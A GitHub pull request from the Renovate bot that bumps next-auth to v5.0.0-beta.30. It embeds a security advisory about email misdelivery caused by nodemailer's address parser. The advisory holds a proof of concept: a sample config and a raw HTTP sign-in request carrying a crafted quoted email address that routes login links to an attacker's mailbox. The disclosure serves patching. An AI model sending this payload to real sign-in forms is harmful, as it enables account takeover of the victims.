Skip to content

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security]#86

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-next-auth-vulnerability
Open

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security]#86
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-next-auth-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Oct 29, 2025 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
next-auth (source) 5.0.0-beta.25 → 5.0.0-beta.30 age confidence

NextAuthjs Email misdelivery Vulnerability

GHSA-5jpx-9hw9-2fx4

More information

Details

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@​victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes
POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@&#8203;auth/prisma-adapter"
import { prisma } from "@&#8203;/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Screenshot from 2025-10-25 21-15-25 Screenshot from 2025-10-25 21-14-47
Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

nextauthjs/next-auth (next-auth)

v5.0.0-beta.30

Compare Source

v5.0.0-beta.29

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.28...next-auth@5.0.0-beta.29

v5.0.0-beta.28

Compare Source

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.27...next-auth@5.0.0-beta.28

v5.0.0-beta.27

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.26...next-auth@5.0.0-beta.27

v5.0.0-beta.26

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.24...next-auth@5.0.0-beta.26

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown

vercel Bot commented Oct 29, 2025 •
edited
Loading

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
lipi Error Error Apr 27, 2026 11:12pm

@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from 4d1985f to 1c860e3 Compare November 10, 2025 20:41
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from 1c860e3 to f99ca90 Compare December 31, 2025 17:44
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from f99ca90 to e4ae0c9 Compare February 12, 2026 12:12
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from e4ae0c9 to 5a6303b Compare February 17, 2026 21:00
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from 5a6303b to 673efe7 Compare March 13, 2026 18:36
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from 673efe7 to 2d6517e Compare March 26, 2026 17:50
@renovate renovate Bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-next-auth-vulnerability branch March 27, 2026 00:54
@renovate renovate Bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch 2 times, most recently from 2d6517e to 5008cdf Compare March 30, 2026 21:16
@renovate renovate Bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-next-auth-vulnerability branch from 5008cdf to 8837b2a Compare April 27, 2026 23:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants